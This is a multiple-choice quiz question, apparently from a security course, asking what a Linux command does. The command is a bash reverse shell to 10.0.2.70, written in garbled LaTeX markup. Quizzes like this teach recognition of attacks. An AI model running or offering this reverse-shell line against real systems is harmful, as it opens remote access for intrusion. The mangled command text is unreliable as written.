What does the Liniux command below mean?

$/$bin$/$bash $-$i $>/$dev$/$tcp$/10\mathrm{.}0\mathrm{.}2\mathrm{.}70/90902>$&$10<$&$1$

Question $5$ options:

A reverse shell. To redirect the Linux shell to a remote port on $10\mathrm{.}0\mathrm{.}2\mathrm{.}70.$

To launch a TCP RST attack.

A file transfer command. To redirect the content in home directory to a server $10\mathrm{.}0\mathrm{.}2\mathrm{.}70.$

To redirect the content of a file to another machine.